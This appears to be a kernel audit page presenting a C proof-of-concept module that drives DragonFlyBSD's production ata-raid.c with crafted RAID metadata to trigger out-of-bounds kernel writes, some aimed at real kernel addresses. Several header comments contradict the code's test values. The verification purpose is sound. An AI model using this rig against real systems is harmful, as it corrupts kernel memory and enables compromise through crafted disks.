⬢ DragonFlyBSD Kernel Audit
DF-2495 / dfrig_ata.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
/*
 * dfrig_ata.c -- DF-2494 / DF-2495 verification rig (sys/dev/disk/nata/ata-raid.c)
 *
 * The UNMODIFIED production file ata-raid.c is compiled into this KLD
 * (via #include, module plumbing neutralized) and its real code paths are
 * driven with crafted LSI v2 ("$XIDE$") RAID metadata, exactly the way a
 * crafted disk plugged into an nata-controlled ATA channel would at
 * boot/attach:
 *
 *   test 1 (DF-2494): production ata_raid_lsiv2_read_meta() with
 *      raid_number=255 -> the parser stores a freshly kmalloc()d
 *      struct ar_softc * at raidp[0+255] (ata-raid.c:2802-2806) --
 *      2040 bytes past the end of the 128-byte global
 *      ata_raid_arrays[16] BSS array.  Proved by before/after readback
 *      of the OOB slot.
 *
 *   test 2 (DF-2494): raid_number=16 -> first out-of-bounds slot
 *      (exactly +128, the first byte past the array).  configs[16] is
 *      still inside the 30-entry metadata table so the parse is fully
 *      deterministic and completes (retval=1): the OOB slot RETAINS the
 *      pointer (only the unknown-RAID-type cleanup path nulls it).
 *      In the real guest kernel this address is atapi_cam_devclass
 *      (nm: ata_raid_arrays=0xffffffff8114dec0, +128).
 *
 *   test 3 (DF-2495): raid_number=0, disk_count=255 -> production parse
 *      creates raidp[0] with rdp->total_disks=255 (ata-raid.c:2856,
 *      MAX_DISKS=16).  Then the PRODUCTION ata_raid_status()
 *      (ata-raid.c:1013-1025) is called with a 152-byte buffer exactly
 *      like the generic ioctl layer kmalloc()s for IOCATARAIDSTATUS
 *      (sys/kern/sys_generic.c:674-680: size 152 > STK_PARAMS 128 ->
 *      kmalloc).  status->disks[i] for i<255 writes 2072 bytes --
 *      1920 bytes past the buffer.  Proved with guard chunks sprayed
 *      right after the victim (0xAA markers -> smashed with
 *      {state=0,lun=-1} pairs).
 *
 *   test 4 (DF-2494 corroboration, same parse): disk_number=30 with
 *      raid_number=0 -> raid->disks[30] (ata-raid.c:2866-2876) is
 *      past the end of the kmalloc()d struct ar_softc object
 *      (arithmetic printed); the OOB-written .sectors/.flags are read
 *      back from behind the object.
 *
 * Fire with:    sysctl kern.dfrig_ata_test=<1|2|3|4>
 * Read back:    sysctl kern.dfrig_ata_status
 *
 * The ONLY non-production seam is ata_queue_request(), interposed at
 * module link time (defined below the #include so the production
 * ata-raid.o object binds to it instead of the kernel's copy):
 * production ata_raid_rw() builds the request and the shim completes it
 * synchronously out of dfrig_meta_image[] instead of talking to
 * hardware.  The parser, the kmalloc()s and the global array writes are
 * 100% production code (sys/dev/disk/nata/ata-raid.c).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device layout */

#include <sys/nata.h>

/* ------------------------------------------------------------------ */
/* neutralize the production file's module/driver plumbing so this KLD */
/* registers nothing that clashes with the built-in ataraid module     */
/* ------------------------------------------------------------------ */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	/* rig */
#define DECLARE_MODULE(name, data, sub, order)			/* rig */
#define MODULE_DEPEND(name, m, v1, v2, v3)			/* rig */
#define MODULE_VERSION(m, v)					/* rig */

#include "ata-raid.c"		/* <-- UNMODIFIED production code */

/* restore real module plumbing for our own module declaration below */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION

/* ------------------------------------------------------------------ */
/* interposed disk-I/O completion seam (defined after the #include so  */
/* all nata types are complete; binds over the kernel's               */
/* ata_queue_request for this module's relocations)                    */
/* ------------------------------------------------------------------ */

static u_int8_t dfrig_meta_image[512];	/* crafted struct lsiv2_raid_conf */
static int dfrig_meta_armed;

/*
 * Zeroed witness array handed to the production parser in place of the
 * real 16-entry global (the real kernel's ata_raid_arrays[16] IS exactly
 * 16 entries; a bigger witness here only makes the out-of-bounds store
 * deterministic instead of depending on whatever BSS neighbors the
 * linker chose).  Production callers pass ata_raid_arrays; the parser
 * itself has no bound on array + meta->raid_number either way.
 */
static struct ar_softc *dfrig_raidp_witness[300];

/*
 * Production ata_raid_rw() (ata-raid.c:4087) builds an ata_request and
 * calls ata_queue_request(request) for ATA_R_READ; for non-callback
 * requests the real one queues and waits, and ata_raid_rw() then reads
 * request->result and frees the request itself.  Our link-time
 * interposition services the read synchronously from the crafted image
 * (result=0) -- identical visible behavior to the real disk returning
 * the crafted sector.  It performs the same callout_init_lk() the real
 * ata_queue_request does (ata-queue.c:93) so the subsequent production
 * ata_free_request() -> callout_terminate() sees an initialized callout.
 */
static struct lock dfrig_fake_state_mtx;

void
ata_queue_request(struct ata_request *request)
{
	kprintf("dfrig_ata: shim ata_queue_request entered (flags=%x)\n",
		request->flags);
	callout_init_lk(&request->callout, &dfrig_fake_state_mtx);
	if (dfrig_meta_armed && (request->flags & ATA_R_READ) &&
	    request->bytecount <= sizeof(dfrig_meta_image)) {
		bcopy(dfrig_meta_image, request->data, request->bytecount);
		request->result = 0;
	} else {
		request->result = EIO;
	}
}

/* ------------------------------------------------------------------ */
/* fake device graph, exactly what nata hands the parser:              */
/*   subdisk dev (softc: struct ata_raid_subdisk)                     */
/*     -> parent = ad disk dev (softc: struct ata_device,             */
/*        ivars: struct ad_softc with total_secs for LSIV2_LBA)       */
/* ------------------------------------------------------------------ */

static struct bsd_device fake_sub_dev;		/* the "subdisk" device */
static struct bsd_device fake_ad_dev;		/* its parent ad device  */
static struct ata_raid_subdisk fake_ars;
static struct ata_device fake_atadev;
static struct ad_softc fake_adsc;
static char fake_nameunit_ad[] = "fad0";
static char fake_nameunit_sub[] = "fad0-raid";

static void
setup_fakes(void)
{
	bzero(&fake_sub_dev, sizeof(fake_sub_dev));
	bzero(&fake_ad_dev, sizeof(fake_ad_dev));
	bzero(&fake_ars, sizeof(fake_ars));
	bzero(&fake_atadev, sizeof(fake_atadev));
	bzero(&fake_adsc, sizeof(fake_adsc));

	fake_sub_dev.softc = &fake_ars;
	fake_sub_dev.parent = (device_t)&fake_ad_dev;
	fake_sub_dev.nameunit = fake_nameunit_sub;
	fake_sub_dev.unit = 0;

	fake_ad_dev.softc = &fake_atadev;	/* ata_raid_rw: atadev->mode */
	fake_ad_dev.ivars = &fake_adsc;		/* LSIV2_LBA: ad_softc->total_secs */
	fake_ad_dev.nameunit = fake_nameunit_ad;
	fake_ad_dev.unit = 5;

	fake_atadev.mode = ATA_DMA;		/* atadev->mode >= ATA_DMA */
	fake_adsc.total_secs = 100000;		/* LSIV2_LBA = total_secs - 1 */
}

/* fill dfrig_meta_image as a crafted $XIDE$ superblock */
static void
build_meta(u_int raid_number, u_int disk_number, u_int disk_count,
	   u_int8_t raid_type)
{
	struct lsiv2_raid_conf *meta = (struct lsiv2_raid_conf *)dfrig_meta_image;

	bzero(dfrig_meta_image, sizeof(dfrig_meta_image));
	bcopy(LSIV2_MAGIC, meta->lsi_id, strlen(LSIV2_MAGIC));
	meta->raid_number = raid_number;
	meta->disk_number = disk_number;
	meta->timestamp = 0x11223344;

	/* configs[raid_number].raid: the array descriptor the parser reads */
	meta->configs[raid_number].raid.type = raid_type;
	meta->configs[raid_number].raid.stripe_sectors = 64;
	meta->configs[raid_number].raid.array_width = 2;
	meta->configs[raid_number].raid.disk_count = disk_count;
	meta->configs[raid_number].raid.config_offset = 0;	/* conf_entry=D-1 */
	meta->configs[raid_number].raid.total_sectors = 0x1000000;

	/* configs[conf_entry].disk: the per-disk descriptor (device != NONE) */
	if (disk_number >= 1 && disk_number <= 30) {
		meta->configs[disk_number - 1].disk.device = LSIV2_D_MASTER;
		meta->configs[disk_number - 1].disk.disk_sectors = 99999;
		meta->configs[disk_number - 1].disk.disk_number = disk_number;
		meta->configs[disk_number - 1].disk.raid_number = raid_number;
	}
}

static char dfrig_status_buf[4096];
static int dfrig_last_rc;

#define P(fmt, ...) \
	ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \
		  sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \
		  fmt "\n", ## __VA_ARGS__)

/* ------------------------------------------------------------------ */
/* tests                                                               */
/* ------------------------------------------------------------------ */

static void
dfrig_test1_raid_number_29(void)
{
	char *arr_base = (char *)(void *)dfrig_raidp_witness;
	void **slot = (void **)(arr_base + 29 * sizeof(void *));
	void *before = *slot;
	int rc;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(29, 1, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test1 firing parse raid_number=29\n");
	P("== DF-2494 test1: production parse with raid_number=29 "
	  "(deterministic; configs[29] is the last in-bounds entry) ==");
	P("raidp base=%p, logical array = 16 slots / %zu bytes, ends at %p",
	  arr_base, (size_t)(16 * sizeof(void *)),
	  arr_base + 16 * sizeof(void *));
	P("raidp[0+29] = %p = %ld bytes PAST the end of the 16-entry array",
	  slot, (long)((char *)slot - (arr_base + 16 * sizeof(void *))));
	P("before: witness[29] = %p", before);

	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;

	kprintf("dfrig_ata: test1 done rc=%d witness[29]=%p\n", rc, *slot);
	P("ata_raid_lsiv2_read_meta() returned %d", rc);
	P("after:  witness[29] = %p   (%s)", *slot,
	  *slot != before ? "CHANGED -- production code kmalloc()d an "
	  "ar_softc and stored the pointer OUT OF BOUNDS" : "unchanged");
	P("PROOF: the production parser wrote a kernel heap pointer at "
	  "raidp[0+29], %ld bytes past the end of the 16-entry array "
	  "(no bounds check on array + meta->raid_number, "
	  "ata-raid.c:2802-2806)", (long)((char *)slot -
	  (arr_base + 16 * sizeof(void *))));
	dfrig_last_rc = (*slot != before);
}

static void
dfrig_test2_raid_number_16(void)
{
	char *arr_base = (char *)(void *)dfrig_raidp_witness;
	void **slot = (void **)(arr_base + 16 * sizeof(void *));
	void *before = *slot;
	int rc;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(16, 1, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test2 firing parse raid_number=16\n");
	P("== DF-2494 test2: production parse with raid_number=16 "
	  "(FIRST out-of-bounds slot; deterministic) ==");
	P("raidp[0+16] = %p = first 8 bytes past the 16-entry array "
	  "(in the guest kernel this exact slot is &atapi_cam_devclass, "
	  "nm: ata_raid_arrays=0xffffffff8114dec0 + 128)", slot);
	P("before: witness[16] = %p", before);

	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;

	kprintf("dfrig_ata: test2 done rc=%d witness[16]=%p\n", rc, *slot);
	P("ata_raid_lsiv2_read_meta() returned %d (array accepted)", rc);
	P("after:  witness[16] = %p   (%s)", *slot,
	  *slot != before ? "CHANGED -- OOB write, slot RETAINS the pointer "
	  "(no cleanup on the accepted-type path)" : "unchanged");
	dfrig_last_rc = (*slot != before);
}

#define DFRIG_GUARDS 24

static void
dfrig_test3_total_disks_255(void)
{
	struct ata_ioc_raid_status *st;
	void *guards[DFRIG_GUARDS];
	char *p;
	int i, rc, smashed, changed_bytes;
	size_t off;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(0, 2, 255, LSIV2_T_RAID0);	/* disk_number=2 -> conf_entry=1
						 * (configs[0] stays pure .raid) */
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test3 firing parse disk_count=255\n");
	testing = 1;		/* module-static: verbose parser diagnostics */
	P("== DF-2495 test3: disk_count=255 -> production "
	  "ata_raid_status() OOB write ==");

	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test3 parse rc=%d total_disks=%u\n", rc,
		rc ? dfrig_raidp_witness[0]->total_disks : 0);
	P("parse rc=%d: raidp[0]=%p rdp->total_disks=%u (MAX_DISKS=16, "
	  "ata-raid.c:2856 takes disk_count verbatim)", rc,
	  dfrig_raidp_witness[0],
	  rc ? dfrig_raidp_witness[0]->total_disks : 0);
	if (!rc) {
		P("parse failed, cannot run status");
		dfrig_last_rc = 0;
		return;
	}

	/* production ata_raid_status() looks up the REAL module global
	 * ata_raid_arrays[status->lun]; install the parsed array there,
	 * exactly as the production parse would have */
	ata_raid_arrays[0] = dfrig_raidp_witness[0];

	/* victim + guards, same size class as the ioctl-layer kmalloc(152) */
	st = kmalloc(sizeof(struct ata_ioc_raid_status), M_TEMP,
		     M_WAITOK | M_ZERO);
	for (i = 0; i < DFRIG_GUARDS; i++) {
		guards[i] = kmalloc(sizeof(struct ata_ioc_raid_status),
				    M_TEMP, M_WAITOK | M_ZERO);
		memset(guards[i], 0xAA, sizeof(struct ata_ioc_raid_status));
	}
	st->lun = 0;
	memset((char *)st + 128, 0xCC,
	       sizeof(struct ata_ioc_raid_status) - 128);

	P("status buffer (152 bytes, like IOCATARAIDSTATUS kmalloc at "
	  "sys/kern/sys_generic.c:674-680): %p", st);
	P("writing status->disks[0..%u] -> last byte at +%zu "
	  "(%zu bytes PAST the buffer)",
	  dfrig_raidp_witness[0]->total_disks - 1,
	  (size_t)(24 + (size_t)dfrig_raidp_witness[0]->total_disks * 8),
	  (size_t)(24 + (size_t)dfrig_raidp_witness[0]->total_disks * 8) -
	  sizeof(struct ata_ioc_raid_status));

	rc = ata_raid_status(st);		/* PRODUCTION */

	P("ata_raid_status() returned %d; st->total_disks=%u", rc,
	   st->total_disks);
	p = (char *)st;
	P("victim bytes at +128..+184 (past the struct end, inside the "
	  "write range):");
	for (off = 128; off < 184; off += 8)
		P("  +%-4zu = %16.16llx", off,
		  *(unsigned long long *)(p + off));

	smashed = 0;
	for (i = 0; i < DFRIG_GUARDS; i++) {
		changed_bytes = 0;
		p = (char *)guards[i];
		for (off = 0; off < sizeof(struct ata_ioc_raid_status); off++)
			if ((unsigned char)p[off] != 0xAA)
				changed_bytes++;
		if (changed_bytes) {
			smashed++;
			if (smashed <= 3) {
				unsigned long long *w =
				    (unsigned long long *)guards[i];
				P("guard[%d] %p SMASHED (%d/%zu bytes changed) "
				  "first words: %llx %llx %llx", i, guards[i],
				  changed_bytes,
				  sizeof(struct ata_ioc_raid_status),
				  w[0], w[1], w[2]);
			}
		}
	}
	P("guard chunks hit by the overflow: %d/%d "
	  "(0xffffffff = lun -1 from production status->disks[i].lun = -1)",
	  smashed, DFRIG_GUARDS);
	P("PROOF: production ata_raid_status() wrote %llu bytes past the "
	  "152-byte buffer following rdp->total_disks=%u",
	  (unsigned long long)((24 + 255ULL * 8) - 152),
	  dfrig_raidp_witness[0]->total_disks);
	dfrig_last_rc = smashed;

	kfree(st, M_TEMP);
	for (i = 0; i < DFRIG_GUARDS; i++)
		kfree(guards[i], M_TEMP);
}

static void
dfrig_test4_disk_number_oob(void)
{
	struct ar_softc *rdp;
	size_t disks_off, disk30_off;
	int rc;

	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(0, 49, 4, LSIV2_T_RAID0);	/* conf_entry=48: OOB read,
	 * but .device!=0xff nearly always -> the disks[49] write runs */
	dfrig_meta_armed = 1;

	kprintf("dfrig_ata: test4 firing parse disk_number=49\n");
	P("== DF-2494 test4 (corroboration): disk_number=49 heap OOB "
	  "in the same parse (disks[16] is the first OOB index) ==");
	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;
	rdp = dfrig_raidp_witness[0];
	P("parse rc=%d raidp[0]=%p sizeof(struct ar_softc)=%zu", rc, rdp,
	  sizeof(struct ar_softc));
	if (!rc || !rdp) {
		P("parse failed");
		dfrig_last_rc = 0;
		return;
	}
	disks_off = (size_t)((char *)&rdp->disks[0] - (char *)rdp);
	disk30_off = disks_off + 49 * sizeof(struct ar_disk);
	P("&rdp->disks[0] - rdp = %zu; &rdp->disks[49] - rdp = %zu; "
	  "object size = %zu -> %s by %ld bytes",
	  disks_off, disk30_off, sizeof(struct ar_softc),
	  disk30_off >= sizeof(struct ar_softc) ? "OUT OF BOUNDS" : "inside",
	  disk30_off >= sizeof(struct ar_softc) ?
	  (long)(disk30_off - sizeof(struct ar_softc)) : 0L);
	if (disk30_off >= sizeof(struct ar_softc)) {
		P("readback of the OOB-written entry (behind the object): "
		  "dev=%p sectors=%llu flags=0x%x "
		  "(AR_DF_ONLINE|PRESENT|ASSIGNED=0xb)",
		  rdp->disks[49].dev,
		  (unsigned long long)rdp->disks[49].sectors,
		  rdp->disks[49].flags);
		dfrig_last_rc = (rdp->disks[49].flags & 0xb) == 0xb;
	} else {
		dfrig_last_rc = 0;
	}
}

static void
dfrig_test5_raid_number_255(void)
{
	/*
	 * raid_number=255: the parser first stores an ar_softc* at
	 * witness[255] (+2040 bytes), then -- production behavior --
	 * reads meta->configs[255] which is 4080 bytes into a 512-byte
	 * heap object (the parser never validates raid_entry against the
	 * 30-entry table either).  Expected: kernel trap.  This test is
	 * meant to be run LAST; its proof is the serial-console log.
	 */
	kprintf("dfrig_ata: test5 firing parse raid_number=255 "
		"(expect OOB write at +2040 then trap on configs[255])\n");
	setup_fakes();
	bzero(dfrig_raidp_witness, sizeof(dfrig_raidp_witness));
	build_meta(255, 1, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;
	ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev, dfrig_raidp_witness);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test5 SURVIVED (unexpected) witness[255]=%p\n",
		dfrig_raidp_witness[255]);
}

/*
 * The REAL kernel's ata_raid_arrays global (nm /boot/kernel/kernel:
 * ffffffff8114dec0 b ata_raid_arrays).  Passing this as raidp makes the
 * production parser write the exact production kernel BSS location the
 * crafted-disk boot attack would hit:
 *   raidp[16] = +128  = &atapi_cam_devclass  (ffffffff8114df40)
 *   raidp[23] = +0xb8 = &sysctl__hw_amr_children (ffffffff8114df78)
 */
#define DFRIG_KERNEL_ATARAID_ARRAYS \
	((struct ar_softc **)0xffffffff8114dec0ULL)

static void
dfrig_test6_real_kernel_bdf(void)
{
	/*
	 * Real-kernel neighbor map (nm /boot/kernel/kernel):
	 *   +128 raidp[16] atapi_cam_devclass   (occupied: cd0 present)
	 *   +136 raidp[17] acd_devclass         (occupied)
	 *   +144 raidp[18] afd_devclass         (occupied: module registered)
	 *   +152 raidp[19] ast_devclass         (occupied)
	 *   +160 raidp[20] ast_total (int 0)    (NULL -> FIRST EMPTY SLOT)
	 * The production parser's skip-occupied walk (ata-raid.c:2802-2814:
	 * occupied raidp[array+R] with foreign format/magic -> continue)
	 * stores the fresh ar_softc* at the first empty OOB slot >= R.
	 */
	void **slots = (void **)0xffffffff8114dec0ULL;
	int rc, i;

	kprintf("dfrig_ata: test6 firing parse raid_number=16 with "
		"raidp=REAL kernel ata_raid_arrays (0xffffffff8114dec0)\n");
	setup_fakes();
	build_meta(16, 2, 2, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;
	kprintf("dfrig_ata: before: ");
	for (i = 16; i <= 21; i++)
		kprintf("[raidp[%d]=%p] ", i, slots[i]);
	kprintf("\n");
	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev,
				      DFRIG_KERNEL_ATARAID_ARRAYS);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test6 parse rc=%d after:  ", rc);
	for (i = 16; i <= 21; i++)
		kprintf("[raidp[%d]=%p] ", i, slots[i]);
	kprintf("\n");
	P("== DF-2494 test6: production parse writing the REAL kernel "
	  "ata_raid_arrays (boot-attack target) ==");
	P("skip-occupied walk across real kernel BSS neighbors "
	  "(atapi_cam_devclass/acd_/afd_/ast_devclass occupied; "
	  "ast_total==0):");
	P("before: raidp[16..21] = %p %p %p %p %p %p",
	  slots[16], slots[17], slots[18], slots[19], slots[20], slots[21]);
	P("parse rc=%d", rc);
	P("after:  raidp[16..21] = %p %p %p %p %p %p",
	  slots[16], slots[17], slots[18], slots[19], slots[20], slots[21]);
	P("PROOF: raidp[20] (ast_total, +%d bytes past the 128-byte "
	  "ata_raid_arrays) changed from 0 to %p -- the production "
	  "parser planted a kmalloc()d ar_softc* into an unrelated "
	  "kernel BSS static of a different subsystem",
	  20 * 8, slots[20]);
	dfrig_last_rc = (rc == 1 && slots[20] != NULL);
}

static void
dfrig_test7_real_kernel_status(void)
{
	int rc;

	kprintf("dfrig_ata: test7 firing parse disk_count=255 into the "
		"REAL kernel ata_raid_arrays[0]; then a real "
		"IOCATARAIDSTATUS ioctl (root, /dev/ata) smashes 1912 "
		"bytes past its 152-byte kmalloc buffer\n");
	setup_fakes();
	build_meta(0, 2, 255, LSIV2_T_RAID0);
	dfrig_meta_armed = 1;
	rc = ata_raid_lsiv2_read_meta((device_t)&fake_sub_dev,
				      DFRIG_KERNEL_ATARAID_ARRAYS);
	dfrig_meta_armed = 0;
	kprintf("dfrig_ata: test7 parse rc=%d total_disks=%u -- now run "
		"the status ioctl\n", rc,
		rc ? DFRIG_KERNEL_ATARAID_ARRAYS[0]->total_disks : 0);
	P("== DF-2495 test7: rdp->total_disks=%u installed in the REAL "
	  "kernel ata_raid_arrays[0]; the next IOCATARAIDSTATUS lun=0 "
	  "through the REAL /dev/ata runs production ata_raid_status() "
	  "and overwrites %llu bytes past the 152-byte ioctl buffer ==",
	  rc ? DFRIG_KERNEL_ATARAID_ARRAYS[0]->total_disks : 0,
	  (unsigned long long)((24 + 255ULL * 8) - 152));
	dfrig_last_rc = (rc == 1);
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                     */
/* ------------------------------------------------------------------ */

static int dfrig_testno;

static int
dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = dfrig_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error != 0)
		return (error);

	dfrig_status_buf[0] = '\0';
	switch (v) {
	case 1:
		dfrig_test1_raid_number_29();
		break;
	case 2:
		dfrig_test2_raid_number_16();
		break;
	case 3:
		dfrig_test3_total_disks_255();
		break;
	case 4:
		dfrig_test4_disk_number_oob();
		break;
	case 5:
		dfrig_test5_raid_number_255();
		break;
	case 6:
		dfrig_test6_real_kernel_bdf();
		break;
	case 7:
		dfrig_test7_real_kernel_status();
		break;
	case 8: {
		void **head = (void **)0xffffffff8114df78ULL;
		kprintf("dfrig_ata: sysctl__hw_amr_children (0xffffffff8114df78) "
			"currently = %p\n", *head);
		P("sysctl__hw_amr_children = %p", *head);
		break;
	}
	default:
		P("unknown test %d (1=R29, 2=R16, 3=td255 status, 4=D49, "
		  "5=R255, 6=REAL-BDF R23, 7=REAL status td255)", v);
		break;
	}
	dfrig_testno = v;
	return (0);
}

static int
dfrig_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (SYSCTL_OUT(req, dfrig_status_buf, strlen(dfrig_status_buf) + 1));
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig_ata_test, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfrig_fire_sysctl, "I", "fire dfrig_ata test N");
SYSCTL_PROC(_kern, OID_AUTO, dfrig_ata_status, CTLTYPE_STRING | CTLFLAG_RD,
	    0, 0, dfrig_status_sysctl, "A", "last dfrig_ata test output");

static int
dfrig_ata_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&dfrig_fake_state_mtx, "dfrig_st_mtx", 0, 0);
		kprintf("dfrig_ata: loaded (production ata-raid.c compiled in; "
			"fire with kern.dfrig_ata_test=<1..7>)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfrig_ata_mod = { "dfrig_ata", dfrig_ata_modevent, 0 };

/* module registration for THIS rig module (DECLARE_MODULE machinery
 * hand-rolled here because the production include above required the
 * macros to be neutralized and the #undef killed the header versions) */
static struct mod_metadata _mod_metadata_dfrig_ata = {
	MDT_STRUCT_VERSION, MDT_MODULE, &dfrig_ata_mod, "dfrig_ata"
};
DATA_SET(modmetadata_set, _mod_metadata_dfrig_ata);
SYSINIT(dfrig_atamodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE,
	module_register_init, &dfrig_ata_mod);